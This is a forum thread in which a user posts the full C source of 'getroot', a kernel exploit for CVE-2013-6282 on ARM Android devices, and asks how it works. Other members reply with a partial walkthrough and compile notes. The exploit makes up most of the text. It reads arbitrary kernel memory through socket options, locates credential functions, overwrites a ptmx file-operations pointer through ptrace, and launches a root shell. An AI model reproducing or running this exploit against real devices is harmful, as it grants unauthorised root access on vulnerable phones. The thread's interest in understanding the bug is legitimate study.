Hello There, Guest!
View New Posts  |  View Today's Posts
Exploiting CVE-2013-6282 vulnerability

  • 0 Vote(s) - 0 Average


04-16-2014, 09:39 PM #1
Holmes.Sherlock
Senior Member
***
Posts: 370 Threads:46 Joined: Oct 2011 Reputation: 7

Exploiting CVE-2013-6282 vulnerability
On October 25, 2013, a Linux kernel bug CVE-2013-6282 was published. It was largely exploited around that time to get root access on existing Android devices. After reading tons of user review, I also applied the rootkit to get root access on my Sony Xperia - L handeset successfully. It was quite surprising that even the latest firmware update, too, didn't fix the vulnerability. What the flaw basically says is,

Quote:The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not validate certain addresses, which allows attackers to read or modify the contents of arbitrary kernel memory locations via a crafted application, as exploited in the wild against Android devices in October and November 2013.

The rootkit has its source code attached.


Code:
/* getroot 2013/12/07 */

/*
* Copyright (C) 2013 CUBE
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program.  If not, see <http://www.gnu.org/licenses/>.
*
*/

#define KERNEL_START_ADDRESS 0xc0008000
#define KERNEL_SIZE 0x2000000
#define SEARCH_START_ADDRESS 0xc0800000
#define KALLSYMS_SIZE 0x200000
#define EXECCOMMAND "/system/bin/sh"

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <stdbool.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/system_properties.h>

#define PTMX_DEVICE "/dev/ptmx"

unsigned long *kallsymsmem = NULL;

unsigned long pattern_kallsyms_addresses[] = {
    0xc0008000,    /* stext */
    0xc0008000,    /* _sinittext */
    0xc0008000,    /* _stext */
    0xc0008000    /* __init_begin */
};
unsigned long pattern_kallsyms_addresses2[] = {
    0xc0008000,    /* stext */
    0xc0008000    /* _text */
};
unsigned long pattern_kallsyms_addresses3[] = {
    0xc00081c0,    /* asm_do_IRQ */
    0xc00081c0,    /* _stext */
    0xc00081c0    /* __exception_text_start */
};
unsigned long kallsyms_num_syms;
unsigned long *kallsyms_addresses;
unsigned char *kallsyms_names;
unsigned char *kallsyms_token_table;
unsigned short *kallsyms_token_index;
unsigned long *kallsyms_markers;

unsigned long prepare_kernel_cred_address = 0;
unsigned long commit_creds_address = 0;
unsigned long ptmx_fops_address = 0;

unsigned long ptmx_open_address = 0;
unsigned long tty_init_dev_address = 0;
unsigned long tty_release_address = 0;
unsigned long tty_fasync_address = 0;
unsigned long ptm_driver_address = 0;

struct cred;
struct task_struct;

struct cred *(*prepare_kernel_cred)(struct task_struct *);
int (*commit_creds)(struct cred *);

bool bChiled;


int read_value_at_address(unsigned long address, unsigned long *value) {
    int sock;
    int ret;
    int i;
    unsigned long addr = address;
    unsigned char *pval = (unsigned char *)value;
    socklen_t optlen = 1;

    *value = 0;
    errno = 0;
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        fprintf(stderr, "socket() failed: %s.\n", strerror(errno));
        return -1;
    }

    for (i = 0; i < sizeof(*value); i++, addr++, pval++) {
        errno = 0;
        ret = setsockopt(sock, SOL_IP, IP_TTL, (void *)addr, 1);
        if (ret != 0) {
            if (errno != EINVAL) {
                fprintf(stderr, "setsockopt() failed: %s.\n", strerror(errno));
                close(sock);
                *value = 0;
                return -1;
            }
        }
        errno = 0;
        ret = getsockopt(sock, SOL_IP, IP_TTL, pval, &optlen);
        if (ret != 0) {
            fprintf(stderr, "getsockopt() failed: %s.\n", strerror(errno));
            close(sock);
            *value = 0;
            return -1;
        }
    }

    close(sock);

    return 0;
}

unsigned long *kerneldump(unsigned long startaddr, unsigned long dumpsize) {
    unsigned long addr;
    unsigned long val;
    unsigned long *allocaddr;
    unsigned long *memaddr;
    int cnt, num, divsize;

    printf("kernel dump...\n");
    allocaddr = (unsigned long *)malloc(dumpsize);
    if (allocaddr == NULL) {
        fprintf(stderr, "malloc failed: %s.\n", strerror(errno));
        return NULL;
    }
    memaddr = allocaddr;

    cnt = 0;
    num = 0;
    divsize = dumpsize / 10;
    for (addr = startaddr; addr < (startaddr + dumpsize); addr += 4, memaddr++) {
        if (read_value_at_address(addr, &val) != 0) {
            printf("\n");
            fprintf(stderr, "kerneldump failed: %s.\n", strerror(errno));
            return NULL;
        }
        *memaddr = val;
        cnt += 4;
        if (cnt >= divsize) {
            cnt = 0;
            num++;
            printf("%d ", num);
            fflush(stdout);
        }
    }

    printf("\n");
    return allocaddr;
}

int check_pattern(unsigned long *addr, unsigned long *pattern, int patternnum) {
    unsigned long val;
    unsigned long cnt;
    unsigned long i;

    read_value_at_address((unsigned long)addr, &val);
    if (val == pattern[0]) {
        cnt = 1;
        for (i = 1; i < patternnum; i++) {
            read_value_at_address((unsigned long)(&addr[i]), &val);
            if (val == pattern[i]) {
                cnt++;
            } else {
                break;
            }
        }
        if (cnt == patternnum) {
            return 0;
        }
    }

    return -1;
}

int check_kallsyms_header(unsigned long *addr) {
    if (check_pattern(addr, pattern_kallsyms_addresses, sizeof(pattern_kallsyms_addresses) / 4) == 0) {
        return 0;
    } else if (check_pattern(addr, pattern_kallsyms_addresses2, sizeof(pattern_kallsyms_addresses2) / 4) == 0) {
        return 0;
    } else if (check_pattern(addr, pattern_kallsyms_addresses3, sizeof(pattern_kallsyms_addresses3) / 4) == 0) {
        return 0;
    }

    return -1;
}

int get_kallsyms_addresses() {
    unsigned long *endaddr;
    unsigned long i, j;
    unsigned long *addr;
    unsigned long n;
    unsigned long val;
    unsigned long off;
    int cnt, num;

    if (read_value_at_address(KERNEL_START_ADDRESS, &val) != 0) {
        fprintf(stderr, "this device is not supported.\n");
        return -1;
    }
    printf("search kallsyms...\n");
    endaddr = (unsigned long *)(KERNEL_START_ADDRESS + KERNEL_SIZE);
    cnt = 0;
    num = 0;
    for (i = 0; i < (KERNEL_START_ADDRESS + KERNEL_SIZE - SEARCH_START_ADDRESS); i += 16) {
        for (j = 0; j < 2; j++) {
            cnt += 4;
            if (cnt >= 0x10000) {
                cnt = 0;
                num++;
                printf("%d ", num);
                fflush(stdout);
            }

            /* get kallsyms_addresses pointer */
            if (j == 0) {
                kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS + i);
            } else {
                if ((i == 0) || ((SEARCH_START_ADDRESS - i) < KERNEL_START_ADDRESS)) {
                    continue;
                }
                kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS - i);
            }
            if (check_kallsyms_header(kallsyms_addresses) != 0) {
                continue;
            }
            addr = kallsyms_addresses;
            off = 0;

            /* search end of kallsyms_addresses */
            n = 0;
            while (1) {
                read_value_at_address((unsigned long)addr, &val);
                if (val < KERNEL_START_ADDRESS) {
                    break;
                }
                n++;
                addr++;
                off++;
                if (addr >= endaddr) {
                    return -1;
                }
            }

            /* skip there is filled by 0x0 */
            while (1) {
                read_value_at_address((unsigned long)addr, &val);
                if (val != 0) {
                    break;
                }
                addr++;
                off++;
                if (addr >= endaddr) {
                    return -1;
                }
            }

            read_value_at_address((unsigned long)addr, &val);
            kallsyms_num_syms = val;
            addr++;
            off++;
            if (addr >= endaddr) {
                return -1;
            }

            /* check kallsyms_num_syms */
            if (kallsyms_num_syms != n) {
                continue;
            }

            if (num > 0) {
                printf("\n");
            }
            printf("(kallsyms_addresses=%08x)\n", (unsigned long)kallsyms_addresses);
            printf("(kallsyms_num_syms=%08x)\n", kallsyms_num_syms);
            kallsymsmem = kerneldump((unsigned long)kallsyms_addresses, KALLSYMS_SIZE);
            if (kallsymsmem == NULL) {
                return -1;
            }
            kallsyms_addresses = kallsymsmem;
            endaddr = (unsigned long *)((unsigned long)kallsymsmem + KALLSYMS_SIZE);

            addr = &kallsymsmem[off];

            /* skip there is filled by 0x0 */
            while (addr[0] == 0x00000000) {
                addr++;
                if (addr >= endaddr) {
                    return -1;
                }
            }

            kallsyms_names = (unsigned char *)addr;

            /* search end of kallsyms_names */
            for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
                int len = kallsyms_names[off];
                off += len + 1;
                if (&kallsyms_names[off] >= (unsigned char *)endaddr) {
                    return -1;
                }
            }

            /* adjust */
            addr = (unsigned long *)((((unsigned long)&kallsyms_names[off] - 1) | 0x3) + 1);
            if (addr >= endaddr) {
                return -1;
            }

            /* skip there is filled by 0x0 */
            while (addr[0] == 0x00000000) {
                addr++;
                if (addr >= endaddr) {
                    return -1;
                }
            }
            /* but kallsyms_markers shoud be start 0x00000000 */
            addr--;

            kallsyms_markers = addr;

            /* end of kallsyms_markers */
            addr = &kallsyms_markers[((kallsyms_num_syms - 1) >> 8) + 1];
            if (addr >= endaddr) {
                return -1;
            }

            /* skip there is filled by 0x0 */
            while (addr[0] == 0x00000000) {
                addr++;
                if (addr >= endaddr) {
                    return -1;
                }
            }

            kallsyms_token_table = (unsigned char *)addr;

            i = 0;
            while ((kallsyms_token_table[i] != 0x00) || (kallsyms_token_table[i + 1] != 0x00)) {
                i++;
                if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
                    return -1;
                }
            }

            /* skip there is filled by 0x0 */
            while (kallsyms_token_table[i] == 0x00) {
                i++;
                if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
                    return -1;
                }
            }

            /* but kallsyms_markers shoud be start 0x0000 */
            kallsyms_token_index = (unsigned short *)&kallsyms_token_table[i - 2];

            return 0;
        }
    }

    if (num > 0) {
        printf("\n");
    }
    return -1;
}

unsigned long kallsyms_expand_symbol(unsigned long off, char *namebuf) {
    int len;
    int skipped_first;
    unsigned char *tptr;
    unsigned char *data;

    /* Get the compressed symbol length from the first symbol byte. */
    data = &kallsyms_names[off];
    len = *data;
    off += len + 1;
    data++;

    skipped_first = 0;
    while (len > 0) {
        tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
        data++;
        len--;

        while (*tptr > 0) {
            if (skipped_first != 0) {
                *namebuf = *tptr;
                namebuf++;
            } else {
                skipped_first = 1;
            }
            tptr++;
        }
    }
    *namebuf = '\0';

    return off;
}

int search_functions() {
    char namebuf[1024];
    unsigned long i;
    unsigned long off;
    int cnt;

    cnt = 0;
    for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
        off = kallsyms_expand_symbol(off, namebuf);
        if (strcmp(namebuf, "prepare_kernel_cred") == 0) {
            prepare_kernel_cred_address = kallsyms_addresses[i];
            cnt++;
        } else if (strcmp(namebuf, "commit_creds") == 0) {
            commit_creds_address = kallsyms_addresses[i];
            cnt++;
        } else if (strcmp(namebuf, "ptmx_open") == 0) {
            ptmx_open_address = kallsyms_addresses[i];
            cnt++;
        } else if (strcmp(namebuf, "tty_init_dev") == 0) {
            tty_init_dev_address = kallsyms_addresses[i];
            cnt++;
        } else if (strcmp(namebuf, "tty_release") == 0) {
            tty_release_address = kallsyms_addresses[i];
            cnt++;
        } else if (strcmp(namebuf, "tty_fasync") == 0) {
            tty_fasync_address = kallsyms_addresses[i];
            cnt++;
        } else if (strcmp(namebuf, "ptmx_fops") == 0) {
            ptmx_fops_address = kallsyms_addresses[i];
        }
    }

    if (cnt < 6) {
        return -1;
    }

    return 0;
}

void analyze_ptmx_open() {
    unsigned long i, j, k;
    unsigned long addr;
    unsigned long val;
    unsigned long regnum;
    unsigned long data_addr;

    printf("analyze ptmx_open...\n");
    for (i = 0; i < 0x200; i += 4) {
        addr = ptmx_open_address + i;
        read_value_at_address(addr, &val);
        if ((val & 0xff000000) == 0xeb000000) {
            if ((((tty_init_dev_address / 4) - (addr / 4 + 2)) & 0x00ffffff) == (val & 0x00ffffff)) {
                for (j = 1; j <= i; j++) {
                    addr = ptmx_open_address + i - j;
                    read_value_at_address(addr, &val);
                    if ((val & 0xfff0f000) == 0xe5900000) {
                        regnum = (val & 0x000f0000) >> 16;
                        for (k = 1; k <= (i - j); k++) {
                            addr = ptmx_open_address + i - j - k;
                            read_value_at_address(addr, &val);
                            if ((val & 0xfffff000) == (0xe59f0000 + (regnum << 12))) {
                                data_addr = addr + (val & 0x00000fff) + 8;
                                read_value_at_address(data_addr, &val);
                                ptm_driver_address = val;
                                return;
                            }
                        }
                    }
                }
            }
        }
    }

    return;
}

unsigned long search_ptmx_fops_address() {
    unsigned long *addr;
    unsigned long range;
    unsigned long *ptmx_fops_open;
    unsigned long i;
    unsigned long val, val2, val5;
    int cnt, num;

    printf("search ptmx_fops...\n");
    if (ptm_driver_address != 0) {
        addr = (unsigned long *)ptm_driver_address;
    } else {
        addr = (unsigned long *)(kallsyms_addresses[kallsyms_num_syms - 1]);
    }
    addr++;
    ptmx_fops_open = NULL;
    range = ((KERNEL_START_ADDRESS + KERNEL_SIZE) - (unsigned long)addr) / sizeof(unsigned long);
    cnt = 0;
    num = 0;
    for (i = 0; i < range - 14; i++) {
        read_value_at_address((unsigned long)(&addr[i]), &val);
        if (val == ptmx_open_address) {
            read_value_at_address((unsigned long)(&addr[i + 2]), &val2);
            if (val2 == tty_release_address) {
                read_value_at_address((unsigned long)(&addr[i + 5]), &val5);
                if (val5 == tty_fasync_address) {
                    ptmx_fops_open = &addr[i];
                    break;
                }
            }
        }
        cnt += 4;
        if (cnt >= 0x10000) {
            cnt = 0;
            num++;
            printf("%d ", num);
            fflush(stdout);
        }
    }

    if (num > 0) {
        printf("\n");
    }
    if (ptmx_fops_open == NULL) {
        return 0;
    }
    return ((unsigned long)ptmx_fops_open - 0x2c);
}

int get_addresses() {
    if (get_kallsyms_addresses() != 0) {
        if (kallsymsmem != NULL) {
            free(kallsymsmem);
            kallsymsmem = NULL;
        }
        fprintf(stderr, "kallsyms_addresses search failed.\n");
        return -1;
    }

    if (search_functions() != 0) {
        if (kallsymsmem != NULL) {
            free(kallsymsmem);
            kallsymsmem = NULL;
        }
        fprintf(stderr, "search_functions failed.\n");
        return -1;
    }

    if (ptmx_fops_address == 0) {
        analyze_ptmx_open();
        ptmx_fops_address = search_ptmx_fops_address();
        if (ptmx_fops_address == 0) {
            if (kallsymsmem != NULL) {
                free(kallsymsmem);
                kallsymsmem = NULL;
            }
            fprintf(stderr, "search_ptmx_fops_address failed.\n");
            return -1;
        }
    }

    if (kallsymsmem != NULL) {
        free(kallsymsmem);
        kallsymsmem = NULL;
    }

    printf("\n");
    printf("prepare_kernel_cred=%08x\n", prepare_kernel_cred_address);
    printf("commit_creds=%08x\n", commit_creds_address);
    printf("ptmx_fops=%08x\n", ptmx_fops_address);
    printf("\n");

    return 0;
}

void obtain_root_privilege(void) {
    commit_creds(prepare_kernel_cred(0));
}

static bool run_obtain_root_privilege(void *user_data) {
    int fd;

    fd = open(PTMX_DEVICE, O_WRONLY);
    fsync(fd);
    close(fd);

    return true;
}

void ptrace_write_value_at_address(unsigned long int address, void *value) {
    pid_t pid;
    long ret;
    int status;

    bChiled = false;
    pid = fork();
    if (pid < 0) {
        return;
    }
    if (pid == 0) {
        ret = ptrace(PTRACE_TRACEME, 0, 0, 0);
        if (ret < 0) {
            fprintf(stderr, "PTRACE_TRACEME failed\n");
        }
        bChiled = true;
        signal(SIGSTOP, SIG_IGN);
        kill(getpid(), SIGSTOP);
        exit(EXIT_SUCCESS);
    }

    do {
        ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &bChiled, &bChiled);
    } while (!bChiled);

    ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &value, (void *)address);
    if (ret < 0) {
        fprintf(stderr, "PTRACE_PEEKDATA failed: %s\n", strerror(errno));
    }

    kill(pid, SIGKILL);
    waitpid(pid, &status, WNOHANG);
}

bool ptrace_run_exploit(unsigned long int address, void *value, bool (*exploit_callback)(void *user_data), void *user_data) {
    bool success;

    ptrace_write_value_at_address(address, value);
    success = exploit_callback(user_data);

    return success;
}

static bool run_exploit(void) {
    unsigned long int ptmx_fops_fsync_address;

    ptmx_fops_fsync_address = ptmx_fops_address + 0x38;
    return ptrace_run_exploit(ptmx_fops_fsync_address, &obtain_root_privilege, run_obtain_root_privilege, NULL);
}

int main(int argc, char **argv) {
    char devicename[PROP_VALUE_MAX];
    char buildid[PROP_VALUE_MAX];

    __system_property_get("ro.build.product", devicename);
    __system_property_get("ro.build.id", buildid);
    printf("ro.build.product=%s\n", devicename);
    printf("ro.build.id=%s\n", buildid);

    if (get_addresses() != 0) {
        exit(EXIT_FAILURE);
    }

    prepare_kernel_cred = (void *)prepare_kernel_cred_address;
    commit_creds = (void *)commit_creds_address;

    run_exploit();

    if (getuid() != 0) {
        printf("Failed to getroot.\n");
        exit(EXIT_FAILURE);
    }

    printf("Succeeded in getroot!\n");
    printf("\n");

    if (argc >= 2) {
        system(argv[1]);
    } else {
        system(EXECCOMMAND);
    }

    exit(EXIT_SUCCESS);
    return 0;
}

Can anyone shed some light on:
  • How's this ~650 lines of C code exploiting the bug?
  • Where can I have more technical information on the bug realize the magic played by the code under the hood?[/code][/quote]

04-19-2014, 09:13 PM #2
AceInfinity
Developer
*******
Administrators
Posts: 9,733 Threads:1,026 Joined: Jun 2011 Reputation: 76

RE: Exploiting CVE-2013-6282 vulnerability
It starts at run_exploit() (as I'm sure many would see), but as I was reading through this I found it odd that the bool return is not even being used lol... The developer of this is definitely a Unix developer though (they have a habit of using acronyms) which makes this harder to read unless you are familiar with the Linux architecture. It would take someone very familiar with the under-workings of the Linux kernel to understand how everything is mapped anyways, so perhaps I'm pointing out the obvious (most likely)... Don't bark at me for that lol. Laugh

From what I can tell, this code searches the kernel memory for addresses to certain functions and uses them to write over a portion of the kernel which authenticates the user as root. It's hard to follow this code just through a text editor, and I don't know much about the Linux kernel either which wouldn't help me. It seems vital to understanding how and why this works though because it's all based around finding addresses and creating function pointers from them to call to them. I have no way to test this code either.

Based on the code I read, and before I read the description over again, it makes sense. He's finding those functions and calling them to trick the kernel into giving him access. It does some initial checks beforehand to check for the function addresses to determine device support, prepare_kernel_cred seems like something that refers to preparing kernel credentials, along with the commit_creds identifier, which must relate to some kind of credentials as well. The exploit is run, and the uid is checked to confirm that root was gained after the actions taken, then a system() call is made which depends on the existence of command line arguments, or a default command is executed.

I know that when the Linux kernel needs to find out what symbol is at a specific address, it makes a call to kallsyms_lookup(). The symbols exist within the init section, and I seen somewhere in the code that certain symbols were expanded. I'd have to take an hour or so to go over everything else in this code...
This post was last modified: 04-19-2014, 09:25 PM by AceInfinity.


Microsoft MVP .NET Programming - (2012 - Present)
®Crestron DMC-T Certified Automation Programmer

Development Site: aceinfinity.net

 ▲
 ▲ ▲

04-19-2014, 10:10 PM #3
Holmes.Sherlock
Senior Member
***
Posts: 370 Threads:46 Joined: Oct 2011 Reputation: 7

RE: Exploiting CVE-2013-6282 vulnerability
This code is compiled with Android NDK. I have already set up an Eclipse NDK project to be able to browse through the code efficiently. Also I have been able to compile the code successfully producing an ELF format exploit for ARM processors. The compiler exploit is exact in size in bytes to that of what I have executed on my handset to gain root. FYI, the size is 17,768 bytes.

04-20-2014, 05:07 AM #4
Florin
Junior Member
Team Reboot
Posts: 456 Threads:71 Joined: Dec 2011 Reputation: 14

RE: Exploiting CVE-2013-6282 vulnerability
It works only on sonny xperia or on my android 4.0.4 tablet?

04-20-2014, 01:16 PM #5
AceInfinity
Developer
*******
Administrators
Posts: 9,733 Threads:1,026 Joined: Jun 2011 Reputation: 76

RE: Exploiting CVE-2013-6282 vulnerability
Maybe when I have some more time, I'll set up a project and it'll help me browse this code a bit better. The only problem is the device that is needed for me to test this. I've only ever played with an Android device 3 or 4 times in my life to be honest lol.


Microsoft MVP .NET Programming - (2012 - Present)
®Crestron DMC-T Certified Automation Programmer

Development Site: aceinfinity.net

 ▲
 ▲ ▲

04-22-2014, 05:47 AM #6
Florin
Junior Member
Team Reboot
Posts: 456 Threads:71 Joined: Dec 2011 Reputation: 14

RE: Exploiting CVE-2013-6282 vulnerability
@Holmes: This is the same exploit ? Maybe it's easier to understand

http://www.exploit-db.com/exploits/31574/




Forum Jump:


Possibly Related Threads...
Thread Author Replies Views Last Post
   CSAW CTF 2013 - deeeeeeaaaaaadbeeeeeeeeeef AceInfinity 0 1,560 09-24-2013, 10:05 PM
Last Post: AceInfinity


Users browsing this thread: 1 Guest(s)